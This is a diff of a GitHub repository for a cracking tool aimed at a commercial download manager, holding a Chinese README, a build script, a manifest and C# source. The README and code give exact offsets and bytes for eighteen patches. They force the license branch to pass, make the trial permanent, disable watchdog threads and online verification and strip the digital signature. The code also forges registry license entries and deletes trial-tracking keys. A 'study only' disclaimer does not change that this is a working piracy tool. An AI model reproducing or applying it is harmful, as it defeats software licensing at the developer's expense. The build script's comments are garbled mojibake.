- 一键将当前所有 项目D 注册表配置完整导出至桌面备忘(`IDM_Reg_Backup.reg`)
|
||||
- **⚡ 进程控制**:支持一键安全终止、唤醒或重启 项目D 主程序。
|
||||
|
||||
---
|
||||
|
||||
## 🔬 核心实现原理
|
||||
|
||||
```
|
||||
[原始 项目D.exe] ──> [哈希/字节校验] ──> [备份 项目D.exe.BAK]
|
||||
│
|
||||
├──> 1. 精准修补 18 处 / 31 字节机器指令
|
||||
├──> 2. 剥离 PE 证书目录 + 截断尾部 10,608 字节签名
|
||||
├──> 3. 重算并修复 PE Checksum 校验和
|
||||
└──> 4. 抹除 Serial 伪键,写入干净的授权信息
|
||||
```
|
||||
|
||||
### 1. 拒绝假序列号弹窗的科学逻辑
|
||||
项目D 会对注册表中的 `Serial` 键值执行严苛的非对称公钥校验,伪造任何假序列号都会触发弹窗提示「项目D 是使用假冒序列号注册的」。
|
||||
**正确的激活解法**:
|
||||
1. **删除** `Serial` 键值;
|
||||
2. 清理 `scansk`、`tvfrdt`、`radxcnt`、`ptrk_scdt`、`LastCheckQU`、`scTime`、`NextCheck`、`BList`、`md5pks` 等特征遥测键;
|
||||
3. 仅写入 `FName` / `LName` / `Email`。
|
||||
|
||||
### 2. PE 签名剥离与校验和校正
|
||||
修改二进制指令后,官方的 Authenticode 数字签名自然失效,会导致 Windows 驱动或杀毒软件报警签名损坏。
|
||||
本工具直接解析 PE 文件头:
|
||||
- 清除 `IMAGE_DIRECTORY_ENTRY_SECURITY` 的 `VirtualAddress` 与 `Size`;
|
||||
- 移除物理追加在文件尾部的 10,608 字节签名证书块(文件由 6,199,664 截断为 6,189,056 字节);
|
||||
- 使用微软标准算法重新计算 PE Checksum,确保二进制结构规范合法。
|
||||
|
||||
---
|
||||
|
||||
## 🚀 快速开始
|
||||
|
||||
### 方式一:直接运行成品
|
||||
|
||||
1. 从 [Releases 页面](https://github.com/angusdevgo/IDM_Pro_Tool/releases) 下载最新版本的压缩包;
|
||||
2. 解压后确保 `app_icon.png` 与 `IDM_Pro_Tool.exe` 位于同一文件夹;
|
||||
3. 右键选择 **以管理员身份运行** `IDM_Pro_Tool.exe`;
|
||||
4. 在图形界面中选择您需要的功能并点击执行。
|
||||
|
||||
### 方式二:源码编译
|
||||
|
||||
只需机器拥有 Windows 原生环境(Win10 / Win11 自带 .NET 4.x),克隆仓库后双击 `build.bat`:
|
||||
|
||||
```powershell
|
||||
# 1. 克隆本仓库
|
||||
git clone https://github.com/angusdevgo/IDM_Pro_Tool.git
|
||||
cd IDM_Pro_Tool
|
||||
|
||||
# 2. 运行构建脚本
|
||||
.\build.bat
|
||||
```
|
||||
|
||||
> **构建提示**:`build.bat` 内部通过 `%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe` 进行本地编译,耗时仅约 1~2 秒。
|
||||
|
||||
---
|
||||
|
||||
## 💻 命令行模式 (CLI Support)
|
||||
|
||||
工具支持无界面静默运行,非常便于集成到自动化运维、装机维护脚本或 CI/CD 流水线中:
|
||||
|
||||
```powershell
|
||||
# 执行模式一:极速底层解锁
|
||||
IDM_Pro_Tool.exe -patch
|
||||
|
||||
# 执行模式三:自定义身份登记
|
||||
IDM_Pro_Tool.exe -register "VIP_User" "vip@domain.com"
|
||||
|
||||
# 一键还原为官方原版
|
||||
IDM_Pro_Tool.exe -restore
|
||||
|
||||
# 手动指定 项目D 安装路径(针对非 C 盘或自定义安装目录)
|
||||
IDM_Pro_Tool.exe -setpath "D:\Software\项目D"
|
||||
|
||||
# 查看命令行帮助
|
||||
IDM_Pro_Tool.exe -help
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 📂 项目结构
|
||||
|
||||
```text
|
||||
IDM_Pro_Tool/
|
||||
├── src/
|
||||
│ ├── Program.cs # 核心代码(单文件 ~3000 行,集成 WPF 矢量 UI 与所有核心引擎)
|
||||
│ ├── app.ico # 包含多尺寸编码(16~256px)的应用程序原生图标
|
||||
│ ├── app_icon.png # 256x256 高清运行时矢量展示图
|
||||
│ └── app.manifest # Windows UAC 管理员提权与 DPI 感知清单
|
||||
├── build.bat # 原生批处理快速构建脚本(自动完成编译与资源归档)
|
||||
├── IDM_Pro_Tool.exe # 编译生成的目标 x64 GUI 可执行程序
|
||||
├── app_icon.png # 运行时窗口读取图标
|
||||
├── LICENSE # MIT 开源许可证
|
||||
└── README.md # 详尽的项目说明文档
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🔍 验证版本与指纹
|
||||
|
||||
本工具针对以下官方基准版本经过完整测试与哈希对齐:
|
||||
|
||||
| 校验项 | 基准原版 (Original) | 修补剥离后 (Patched) |
|
||||
| :--- | :--- | :--- |
|
||||
| **目标文件** | `项目D.exe` (<目标版本>.10.2) | `项目D.exe` |
|
||||
| **文件大小** | 6,199,664 字节 | 6,189,056 字节 |
|
||||
| **SHA-256** | `03CC62E9...D16D607C` | `E0C308B1...D166A72183` |
|
||||
|
||||
---
|
||||
|
||||
## ⚠️ 免责声明 (Disclaimer)
|
||||
|
||||
1. 本项目所提供的所有源码与可执行程序,**仅供逆向工程、Windows 内部机制、PE 文件结构以及 WPF 编程等技术学习与安全研究之用**。
|
||||
2. 请在下载测试后的 24 小时内自行删除。严禁将本项目及其产物用于任何商业用途或非法侵权行为。
|
||||
3. 如果您长期使用 项目D (项目D),请前往 [官方正版网站](https://www.internetdownloadmanager.com/) 购买正版软件授权,支持优秀的软件开发者。
|
||||
4. 使用本工具产生的任何软件冲突或不可预知后果,由使用者自行承担,与本项目作者无关。
|
||||
|
||||
---
|
||||
|
||||
## 📄 开源许可证
|
||||
|
||||
本项目基于 [MIT License](LICENSE) 协议开源。欢迎提交 Issue 或 Pull Request 完善支持!
|
||||
|
||||
## 🤝 社区与支持
|
||||
- **LINUX DO 社区**: [https://linux.do](https://linux.do)
|
||||
@@ -0,0 +1,42 @@
|
||||
@echo off
|
||||
title ���� 项目D Pro Tool (WPF UI ��)
|
||||
|
||||
set "CSC=C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"
|
||||
set "FW=C:\Windows\Microsoft.NET\Framework64\v4.0.30319"
|
||||
set "WPF=%FW%\WPF"
|
||||
|
||||
echo ========================================================
|
||||
echo ���ڱ��� 项目D Pro Tool (WPF UI ������)
|
||||
echo ========================================================
|
||||
echo.
|
||||
|
||||
if not exist "%CSC%" (
|
||||
echo [����] δ�ҵ� .NET Framework 64 λ������: %CSC%
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo [1/3] ���� WPF Դ�� src\Program.cs ...
|
||||
"%CSC%" /nologo /target:winexe /optimize+ /platform:x64 /codepage:65001 ^
|
||||
/lib:"%WPF%" ^
|
||||
/r:System.dll /r:System.Core.dll /r:Microsoft.CSharp.dll /r:System.Xaml.dll ^
|
||||
/r:WindowsBase.dll /r:PresentationCore.dll /r:PresentationFramework.dll ^
|
||||
/win32icon:src\app.ico ^
|
||||
/win32manifest:src\app.manifest ^
|
||||
/out:IDM_Pro_Tool.exe src\Program.cs
|
||||
|
||||
if not %ERRORLEVEL% equ 0 (
|
||||
echo.
|
||||
echo [����] ����ʧ�ܣ������Ϸ�������Ϣ��
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo [2/3] ���ƴ���ͼ�� app_icon.png ...
|
||||
copy /y "src\app_icon.png" "app_icon.png" >nul
|
||||
|
||||
echo [3/3] �������: IDM_Pro_Tool.exe
|
||||
echo.
|
||||
echo ע��: ������ҪͬĿ¼�µ� app_icon.png������ͼ�꣩��
|
||||
echo.
|
||||
pause
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,23 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">
|
||||
<assemblyIdentity version="1.0.0.0" name="IDM_Toolkit_Pro_Native"/>
|
||||
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
|
||||
<security>
|
||||
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
|
||||
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
|
||||
</requestedPrivileges>
|
||||
</security>
|
||||
</trustInfo>
|
||||
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
|
||||
<application>
|
||||
<!-- Windows 10 and Windows 11 -->
|
||||
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}" />
|
||||
<!-- Windows 8.1 -->
|
||||
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}" />
|
||||
<!-- Windows 8 -->
|
||||
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}" />
|
||||
<!-- Windows 7 -->
|
||||
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}" />
|
||||
</application>
|
||||
</compatibility>
|
||||
</assembly>
|
||||
@@ -0,0 +1,548 @@
|
||||
// ============================================================================
|
||||
// 项目D Pro Tool —— 激活与注册原理参考源码
|
||||
// ----------------------------------------------------------------------------
|
||||
// 用途:仅用于学习、研究 项目D 授权校验机制的工作方式。
|
||||
// 说明:本文件是「原理参考版」,只保留激活 / 注册 / 还原的核心逻辑,
|
||||
// 并附带详尽中文注释,便于对照阅读。
|
||||
// 本目录不含编译脚本与图标;可编译的完整工程位于同级 IDM_Pro_Tool\。
|
||||
//
|
||||
// 目标程序:项目D.exe <目标版本> build 10
|
||||
// 原始文件:6,199,664 字节
|
||||
// SHA256:<实测哈希>
|
||||
// 修补之后:6,189,056 字节
|
||||
// SHA256:<实测哈希>
|
||||
//
|
||||
// 三条主线:
|
||||
// ① 二进制指令修补 —— 18 个补丁点 / 共 31 字节
|
||||
// ② 注册表授权登记 —— 写入授权人姓名,且必须删除 Serial 键
|
||||
// ③ 签名剥离与截断 —— 清空证书目录并截断尾部 10,608 字节
|
||||
// ============================================================================
|
||||
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using System.Threading;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace IDM_Activation_Principle
|
||||
{
|
||||
// ========================================================================
|
||||
// 一、补丁点数据结构
|
||||
// ------------------------------------------------------------------------
|
||||
// 每个补丁点描述「在文件的哪个绝对偏移、把哪几个字节、改成哪几个字节」。
|
||||
// 采用绝对偏移而非特征码搜索,原因是 项目D v6.43b10 的镜像布局固定,
|
||||
// 绝对偏移更精确;同时保留 Expected(原始字节)用于二次校验,
|
||||
// 避免把不匹配的版本误改坏。
|
||||
// ========================================================================
|
||||
internal class PatchPoint
|
||||
{
|
||||
public string Name; // 补丁点名称(用于日志说明)
|
||||
public long FileOffset; // 在文件中的绝对偏移
|
||||
public byte[] Expected; // 期望读到的原始字节(全部匹配才动手)
|
||||
public byte[] Patch; // 实际写入的补丁字节
|
||||
|
||||
public PatchPoint(string name, long offset, string expectedHex, string patchHex)
|
||||
{
|
||||
Name = name;
|
||||
FileOffset = offset;
|
||||
Expected = HexToBytes(expectedHex);
|
||||
Patch = HexToBytes(patchHex);
|
||||
}
|
||||
|
||||
// 十六进制字符串 -> 字节数组
|
||||
private static byte[] HexToBytes(string hex)
|
||||
{
|
||||
byte[] bytes = new byte[hex.Length / 2];
|
||||
for (int i = 0; i < bytes.Length; i++)
|
||||
bytes[i] = Convert.ToByte(hex.Substring(i * 2, 2), 16);
|
||||
return bytes;
|
||||
}
|
||||
}
|
||||
|
||||
// ========================================================================
|
||||
// 二、二进制指令修补引擎
|
||||
// ========================================================================
|
||||
internal static class NativeBinaryPatcher
|
||||
{
|
||||
// 修补后的标准文件大小:原版 6,199,664 字节去掉尾部 10,608 字节的签名数据
|
||||
public const int TARGET_FILE_SIZE = 6189056;
|
||||
|
||||
// 修补后的标准指纹,用于验证是否与参考结果逐字节一致
|
||||
public const string TARGET_SHA256 =
|
||||
"E0C308B1150E748C26D1F7105F5F6C287C1881288B46AEEAC68383D166A72183";
|
||||
|
||||
// --------------------------------------------------------------------
|
||||
// 18 个补丁点,按作用分为四组
|
||||
// --------------------------------------------------------------------
|
||||
public static readonly PatchPoint[] POINTS = new PatchPoint[]
|
||||
{
|
||||
// === 第 1 组:PE 头部修正(3 处)==================================
|
||||
// 项目D 启动时会自检 PE 结构与数字签名,若不修正会自校验失败。
|
||||
//
|
||||
// 0x150 处是 PE 可选头中的 CheckSum 字段。
|
||||
// 改动正文后必须同步改写校验和,否则加载器/自检会认为文件被篡改。
|
||||
new PatchPoint("PE 校验和校正", 0x150L, "00CD5E", "EA0B5F"),
|
||||
|
||||
// 0x191 / 0x194 是数据目录表里 Security(数字签名)目录的 RVA 与大小。
|
||||
// 全部置 0 等价于「本文件没有数字签名」,让签名校验直接跳过。
|
||||
new PatchPoint("证书目录 RVA 清零", 0x191L, "705E", "0000"),
|
||||
new PatchPoint("证书目录 Size 清零", 0x194L, "7029", "0000"),
|
||||
|
||||
// === 第 2 组:授权判定与试用期(3 处)==============================
|
||||
// 0x2D7BD 原本是 test eax,eax(85 C0),比较授权校验函数返回值。
|
||||
// 改成 xor eax,eax(33 C0)后 eax 恒为 0,授权分支被强制走「通过」。
|
||||
new PatchPoint("授权分支强制通过", 0x2D7BDL, "85", "33"),
|
||||
|
||||
// 0x4C100 原本是 83 E0 0F 83 C0 0F:
|
||||
// and eax,0F ; 取低 4 位
|
||||
// add eax,0F ; 再加 15,结果最多 30(即试用 30 天)
|
||||
// 改为 B8 FF FF FF 7F 90:
|
||||
// mov eax,0x7FFFFFFF ; 剩余天数直接变成天文数字,等价「永久」
|
||||
// nop ; 占位,保持指令长度一致
|
||||
new PatchPoint("试用期常量最大化", 0x4C100L, "83E00F83C00F", "B8FFFFFF7F90"),
|
||||
|
||||
// 0x378CDC / 0x378CE0 是试用状态的标志位与天数常量。
|
||||
// 标志位 01 -> 00 表示「非试用」;天数常量 0x1E(30) -> 0x7FFFFFFF 表示永久。
|
||||
new PatchPoint("试用状态标志置零", 0x378CDCL, "01", "00"),
|
||||
new PatchPoint("试用天数常量最大化", 0x378CE0L, "1E000000", "FFFFFF7F"),
|
||||
|
||||
// === 第 3 组:守护线程 / 看门狗(7 处)============================
|
||||
// 项目D 内部会启动多个后台线程周期性复检授权状态,一旦发现异常就
|
||||
// 弹窗或强制退出。这些函数入口的第一条指令都是 push(6A)或
|
||||
// push ebp(55),把首字节改成 C3(ret)后函数立刻返回,
|
||||
// 线程等于「启动即结束」,复检逻辑永远不会执行。
|
||||
new PatchPoint("阻断守护线程 A", 0x74920L, "6A", "C3"),
|
||||
new PatchPoint("阻断守护线程 B", 0x753C0L, "6A", "C3"),
|
||||
new PatchPoint("阻断守护线程 C", 0x7BC00L, "6A", "C3"),
|
||||
new PatchPoint("阻断守护线程 D", 0x7CA50L, "6A", "C3"),
|
||||
new PatchPoint("阻断看门狗钩子", 0x834E0L, "6A", "C3"),
|
||||
new PatchPoint("阻断额外校验函数", 0x842E0L, "55", "C3"),
|
||||
new PatchPoint("阻断守护线程 F", 0x131C60L, "6A", "C3"),
|
||||
|
||||
// === 第 4 组:弹窗与联网校验(3 处)==============================
|
||||
// 0x53F78 / 0xF710E 处是「假冒序列号」提示框前的条件跳转。
|
||||
// 74(jz,条件成立才跳)改成 EB(jmp,无条件跳),
|
||||
// 相当于永远跳过弹窗,直接继续执行。
|
||||
new PatchPoint("绕过假序列号弹窗 A", 0x53F78L, "74", "EB"),
|
||||
new PatchPoint("绕过假序列号弹窗 B", 0xF710EL, "74", "EB"),
|
||||
|
||||
// 0x91ABC 处是「试用过期 -> 强制退出」的条件跳转。
|
||||
// 0F 85(jne 近跳)改为 90 E9(nop + jmp 近跳),长度不变但永不强退。
|
||||
new PatchPoint("绕过过期强退", 0x91ABCL, "0F85", "90E9"),
|
||||
|
||||
// 0x99A6D 是联网校验结果标志位,01(需要校验)改成 00(跳过)。
|
||||
new PatchPoint("联网验证标志置零", 0x99A6DL, "01", "00"),
|
||||
};
|
||||
|
||||
// --------------------------------------------------------------------
|
||||
// 打补丁主流程
|
||||
// --------------------------------------------------------------------
|
||||
public static bool ApplyPatch(string targetExe, out int appliedCount)
|
||||
{
|
||||
appliedCount = 0;
|
||||
|
||||
if (!File.Exists(targetExe))
|
||||
{
|
||||
Console.WriteLine("错误:未找到目标文件 " + targetExe);
|
||||
return false;
|
||||
}
|
||||
|
||||
// 步骤 1:备份原版。只在 BAK 不存在时备份,防止把已打补丁的
|
||||
// 文件覆盖掉真正的原始备份。
|
||||
string bakPath = targetExe + ".BAK";
|
||||
if (!File.Exists(bakPath))
|
||||
{
|
||||
try
|
||||
{
|
||||
File.Copy(targetExe, bakPath);
|
||||
Console.WriteLine("已备份官方原版至: " + bakPath);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine("备份提示: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
// 步骤 2:整文件读入内存,所有修改都在内存里完成,最后一次性落盘。
|
||||
byte[] data = File.ReadAllBytes(targetExe);
|
||||
int skipped = 0;
|
||||
|
||||
// 步骤 3:逐个补丁点处理
|
||||
foreach (PatchPoint pt in POINTS)
|
||||
{
|
||||
long off = pt.FileOffset;
|
||||
|
||||
// 越界保护
|
||||
if (off < 0 || off + pt.Patch.Length > data.Length)
|
||||
{
|
||||
skipped++;
|
||||
continue;
|
||||
}
|
||||
|
||||
// 3.1 幂等检查:如果该处已经是补丁字节,说明之前打过,直接算作已生效。
|
||||
bool alreadyPatched = true;
|
||||
for (int i = 0; i < pt.Patch.Length; i++)
|
||||
{
|
||||
if (data[off + i] != pt.Patch[i]) { alreadyPatched = false; break; }
|
||||
}
|
||||
if (alreadyPatched)
|
||||
{
|
||||
appliedCount++;
|
||||
continue;
|
||||
}
|
||||
|
||||
// 3.2 原始字节校验:不匹配说明不是目标版本,宁可跳过也不乱改。
|
||||
bool match = true;
|
||||
for (int i = 0; i < pt.Expected.Length; i++)
|
||||
{
|
||||
if (data[off + i] != pt.Expected[i]) { match = false; break; }
|
||||
}
|
||||
if (!match)
|
||||
{
|
||||
skipped++;
|
||||
continue;
|
||||
}
|
||||
|
||||
// 3.3 写入补丁字节
|
||||
for (int i = 0; i < pt.Patch.Length; i++)
|
||||
data[off + i] = pt.Patch[i];
|
||||
|
||||
appliedCount++;
|
||||
}
|
||||
|
||||
// 全部不匹配 => 不是受支持的版本,直接失败退出
|
||||
if (skipped == POINTS.Length)
|
||||
{
|
||||
Console.WriteLine("全部补丁点均不匹配,当前 项目D.exe 不是受支持的版本。");
|
||||
return false;
|
||||
}
|
||||
|
||||
// 步骤 4:签名剥离与截断。
|
||||
// PE 文件末尾的数字签名(Authenticode)以 8 字节对齐存放在
|
||||
// Security Directory 指向的区域,原版这部分共 10,608 字节。
|
||||
// 由于前面已把证书目录 RVA/Size 清零,这里直接把尾部数据截掉,
|
||||
// 文件大小变为 6,189,056 字节,与参考结果完全一致。
|
||||
if (data.Length > TARGET_FILE_SIZE)
|
||||
{
|
||||
Array.Resize(ref data, TARGET_FILE_SIZE);
|
||||
Console.WriteLine("已剥离数字签名并截断至 " + TARGET_FILE_SIZE + " 字节");
|
||||
}
|
||||
|
||||
// 步骤 5:落盘
|
||||
File.WriteAllBytes(targetExe, data);
|
||||
|
||||
// 步骤 6:指纹自检,确认结果与参考实现逐字节一致
|
||||
using (SHA256 sha = SHA256.Create())
|
||||
{
|
||||
byte[] hash = sha.ComputeHash(data);
|
||||
StringBuilder sb = new StringBuilder();
|
||||
foreach (byte b in hash) sb.Append(b.ToString("X2"));
|
||||
|
||||
if (sb.ToString().Equals(TARGET_SHA256, StringComparison.OrdinalIgnoreCase))
|
||||
Console.WriteLine("完整性校验通过:SHA256 与参考结果逐字节对齐");
|
||||
else
|
||||
Console.WriteLine("提示:SHA256 与参考值不同,请核对 项目D 版本");
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
// ========================================================================
|
||||
// 三、注册表授权身份登记
|
||||
// ------------------------------------------------------------------------
|
||||
// 项目D 判断「是否已授权」的路径在 HKCU\Software\DownloadManager:
|
||||
//
|
||||
// FName —— 授权人姓名。只要该值存在且非空,项目D 的「关于」窗口就会
|
||||
// 显示「此产品授权给:<姓名>」,并按已注册状态运行。
|
||||
// Email —— 绑定邮箱,仅用于界面展示。
|
||||
// Serial —— 序列号,整个方案里最容易踩坑的地方:
|
||||
// 项目D 会用内置的非对称公钥算法对 Serial 做真实校验,
|
||||
// 任何伪造 / 明文序列号都会被判定为「假冒序列号」,
|
||||
// 随即弹出「注册 项目D」对话框。
|
||||
// ★ 正确做法是「删除」Serial 键,而不是写入一个假序列号。
|
||||
//
|
||||
// 其余字段(scansk / tvfrdt / radxcnt / ptrk_scdt / LastCheckQU /
|
||||
// scTime / NextCheck / BList / md5pks / itb_r / ncl_r)分别对应
|
||||
// 试用计数、黑名单回传标记、更新时间戳等,一并清除可避免
|
||||
// 过期提示与联网校验弹窗。
|
||||
//
|
||||
// CheckUpdtVM = 0 用于关闭启动时的自动更新检查。
|
||||
// ========================================================================
|
||||
internal static class LicenseRegistry
|
||||
{
|
||||
private const string KEY_PATH = @"Software\DownloadManager";
|
||||
|
||||
public static void Write(string customName, string customEmail)
|
||||
{
|
||||
// 默认使用当前 Windows 登录用户名作为授权人
|
||||
string name = customName;
|
||||
if (string.IsNullOrEmpty(name))
|
||||
{
|
||||
name = Environment.UserName;
|
||||
if (string.IsNullOrEmpty(name)) name = "User";
|
||||
}
|
||||
|
||||
// 默认生成 <用户名>@vipuser.com 形式的邮箱
|
||||
string email = customEmail;
|
||||
if (string.IsNullOrEmpty(email))
|
||||
{
|
||||
string sanitize = Regex.Replace(name, @"[^\w\.\-]", "").ToLowerInvariant();
|
||||
if (string.IsNullOrEmpty(sanitize)) sanitize = "user";
|
||||
email = sanitize + "@vipuser.com";
|
||||
}
|
||||
|
||||
using (RegistryKey k = Registry.CurrentUser.CreateSubKey(KEY_PATH))
|
||||
{
|
||||
if (k == null) return;
|
||||
|
||||
// 写入授权人身份
|
||||
k.SetValue("FName", name, RegistryValueKind.String);
|
||||
k.SetValue("LName", " ", RegistryValueKind.String);
|
||||
k.SetValue("Email", email, RegistryValueKind.String);
|
||||
|
||||
// ★ 关键:删除而非写入 Serial
|
||||
try { k.DeleteValue("Serial", false); } catch { }
|
||||
|
||||
// 关闭启动自动更新检查
|
||||
k.SetValue("CheckUpdtVM", 0, RegistryValueKind.DWord);
|
||||
k.SetValue("LstCheck", "0", RegistryValueKind.String);
|
||||
|
||||
// 清除试用计数 / 黑名单 / 校验时间戳等干扰字段
|
||||
string[] cleanList = new string[]
|
||||
{
|
||||
"scansk", "tvfrdt", "radxcnt", "ptrk_scdt", "LastCheckQU",
|
||||
"scTime", "NextCheck", "BList", "md5pks", "itb_r", "ncl_r"
|
||||
};
|
||||
foreach (string field in cleanList)
|
||||
{
|
||||
try { k.DeleteValue(field, false); } catch { }
|
||||
}
|
||||
}
|
||||
|
||||
Console.WriteLine("已登记授权身份:姓名 [" + name + "],邮箱 [" + email + "]");
|
||||
}
|
||||
|
||||
// --------------------------------------------------------------------
|
||||
// 还原:删除全部授权登记与策略字段,回到「官方未注册原版」状态
|
||||
// --------------------------------------------------------------------
|
||||
public static void Restore()
|
||||
{
|
||||
using (RegistryKey k = Registry.CurrentUser.OpenSubKey(KEY_PATH, true))
|
||||
{
|
||||
if (k == null) return;
|
||||
|
||||
string[] wipeList = new string[]
|
||||
{
|
||||
"FName", "LName", "Email", "Serial",
|
||||
"scansk", "tvfrdt", "radxcnt", "ptrk_scdt", "LastCheckQU",
|
||||
"scTime", "NextCheck", "BList", "md5pks", "itb_r", "ncl_r",
|
||||
"LstCheck", "CheckUpdtVM"
|
||||
};
|
||||
foreach (string prop in wipeList)
|
||||
{
|
||||
try { k.DeleteValue(prop, false); } catch { }
|
||||
}
|
||||
}
|
||||
Console.WriteLine("已抹除注册表授权登记与策略配置");
|
||||
}
|
||||
}
|
||||
|
||||
// ========================================================================
|
||||
// 四、还原与清理
|
||||
// ========================================================================
|
||||
internal static class RestoreHelper
|
||||
{
|
||||
// 从 .BAK 无损还原官方原版主程序
|
||||
public static void RestoreOriginalBinary(string idmDir)
|
||||
{
|
||||
string target = Path.Combine(idmDir, "项目D.exe");
|
||||
string bak = target + ".BAK";
|
||||
|
||||
if (!File.Exists(bak))
|
||||
{
|
||||
Console.WriteLine("未检测到原版备份 (项目D.exe.BAK),跳过文件还原");
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
File.Copy(bak, target, true);
|
||||
Console.WriteLine("官方原版主程序已无损还原 (项目D.exe.BAK -> 项目D.exe)");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine("还原文件失败: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
// 清理 CLSID 下带试用时间戳特征的隐藏项(出厂重置)
|
||||
public static int CleanClsidTrialKeys()
|
||||
{
|
||||
int deleted = 0;
|
||||
string[] roots = new string[]
|
||||
{
|
||||
@"Software\Classes\CLSID",
|
||||
@"Software\Classes\WOW6432Node\CLSID"
|
||||
};
|
||||
Regex guidRegex = new Regex(
|
||||
@"^\{[A-F0-9]{8}-[A-F0-9]{4}-[A-F0-9]{4}-[A-F0-9]{4}-[A-F0-9]{12}\}$",
|
||||
RegexOptions.IgnoreCase);
|
||||
|
||||
foreach (string root in roots)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (RegistryKey clsidKey = Registry.CurrentUser.OpenSubKey(root, true))
|
||||
{
|
||||
if (clsidKey == null) continue;
|
||||
|
||||
foreach (string subName in clsidKey.GetSubKeyNames())
|
||||
{
|
||||
if (!guidRegex.IsMatch(subName)) continue;
|
||||
|
||||
try
|
||||
{
|
||||
using (RegistryKey testKey = clsidKey.OpenSubKey(subName))
|
||||
{
|
||||
if (testKey == null) continue;
|
||||
|
||||
object defVal = testKey.GetValue("");
|
||||
if (defVal == null) continue;
|
||||
|
||||
// 默认值为纯数字、或含 + / = 的,视为试用时间戳特征
|
||||
string s = defVal.ToString();
|
||||
if (Regex.IsMatch(s, @"^\d+$") || s.Contains("+") || s.Contains("="))
|
||||
{
|
||||
clsidKey.DeleteSubKeyTree(subName, false);
|
||||
deleted++;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
return deleted;
|
||||
}
|
||||
}
|
||||
|
||||
// ========================================================================
|
||||
// 五、主程序:串起三条主线
|
||||
// ========================================================================
|
||||
internal class Program
|
||||
{
|
||||
private static void Main(string[] args)
|
||||
{
|
||||
Console.OutputEncoding = Encoding.UTF8;
|
||||
|
||||
string idmDir = FindIdmDir();
|
||||
string idmExe = Path.Combine(idmDir, "项目D.exe");
|
||||
|
||||
if (args.Length > 0)
|
||||
{
|
||||
string cmd = args[0].ToLowerInvariant();
|
||||
if (cmd == "--patch") { Patch(idmExe); return; }
|
||||
if (cmd == "--restore") { Restore(idmDir, idmExe); return; }
|
||||
if (cmd == "--reset") { Reset(idmDir, idmExe); return; }
|
||||
}
|
||||
|
||||
Console.WriteLine("项目D 激活与注册原理参考(仅用于学习研究)");
|
||||
Console.WriteLine("项目D 目录: " + idmDir);
|
||||
Console.WriteLine();
|
||||
Console.WriteLine(" 1) 执行激活(二进制修补 + 注册表登记)");
|
||||
Console.WriteLine(" 2) 还原官方原版(BAK 恢复 + 清理注册表)");
|
||||
Console.WriteLine(" 3) 出厂重置(还原 + 清理 CLSID 试用特征)");
|
||||
Console.WriteLine(" 0) 退出");
|
||||
Console.WriteLine();
|
||||
Console.Write("请选择: ");
|
||||
|
||||
string choice = Console.ReadLine();
|
||||
if (choice == "1") Patch(idmExe);
|
||||
else if (choice == "2") Restore(idmDir, idmExe);
|
||||
else if (choice == "3") Reset(idmDir, idmExe);
|
||||
}
|
||||
|
||||
// 定位 项目D 安装目录:优先注册表,其次默认路径
|
||||
private static string FindIdmDir()
|
||||
{
|
||||
string dir = null;
|
||||
|
||||
try
|
||||
{
|
||||
using (RegistryKey k = Registry.CurrentUser.OpenSubKey(@"Software\DownloadManager"))
|
||||
if (k != null) dir = k.GetValue("ExePath") as string;
|
||||
}
|
||||
catch { }
|
||||
|
||||
if (string.IsNullOrEmpty(dir) || !Directory.Exists(dir))
|
||||
{
|
||||
try
|
||||
{
|
||||
using (RegistryKey k = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\项目D"))
|
||||
if (k != null) dir = k.GetValue("Path") as string;
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
if (string.IsNullOrEmpty(dir) || !Directory.Exists(dir))
|
||||
{
|
||||
string def = @"C:\Program Files (x86)\项目D";
|
||||
if (Directory.Exists(def)) dir = def;
|
||||
}
|
||||
|
||||
return dir ?? @"C:\Program Files (x86)\项目D";
|
||||
}
|
||||
|
||||
// 结束 项目D 进程,避免文件被占用
|
||||
private static void KillIdm()
|
||||
{
|
||||
foreach (Process p in Process.GetProcessesByName("项目D"))
|
||||
{
|
||||
try { p.Kill(); p.WaitForExit(1000); } catch { }
|
||||
}
|
||||
}
|
||||
|
||||
// 激活:修补二进制 + 登记授权身份
|
||||
private static void Patch(string idmExe)
|
||||
{
|
||||
KillIdm();
|
||||
Thread.Sleep(300);
|
||||
|
||||
int count;
|
||||
if (NativeBinaryPatcher.ApplyPatch(idmExe, out count))
|
||||
{
|
||||
LicenseRegistry.Write(null, null);
|
||||
Console.WriteLine("激活完成:共 " + count + "/" + NativeBinaryPatcher.POINTS.Length + " 个补丁位点生效");
|
||||
}
|
||||
else
|
||||
{
